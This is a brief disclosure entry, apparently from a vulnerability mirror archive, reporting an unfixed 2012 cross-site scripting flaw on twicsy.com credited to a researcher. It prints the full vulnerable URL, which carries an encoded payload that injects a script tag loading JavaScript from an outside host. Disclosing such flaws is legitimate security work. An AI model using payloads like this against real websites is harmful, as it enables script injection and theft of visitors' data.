Security researcher flexxpoint, has submitted on 23/01/2012 a cross-site-scripting (XSS) vulnerability affecting twicsy.com, which at the time of submission ranked 18258 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 24/01/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Vulnerable URL: http://twicsy.com/?search=%22%3E%3Cscript+src%3Dhttp%3A%2F%2Fckers.org%2Fxss.js%3E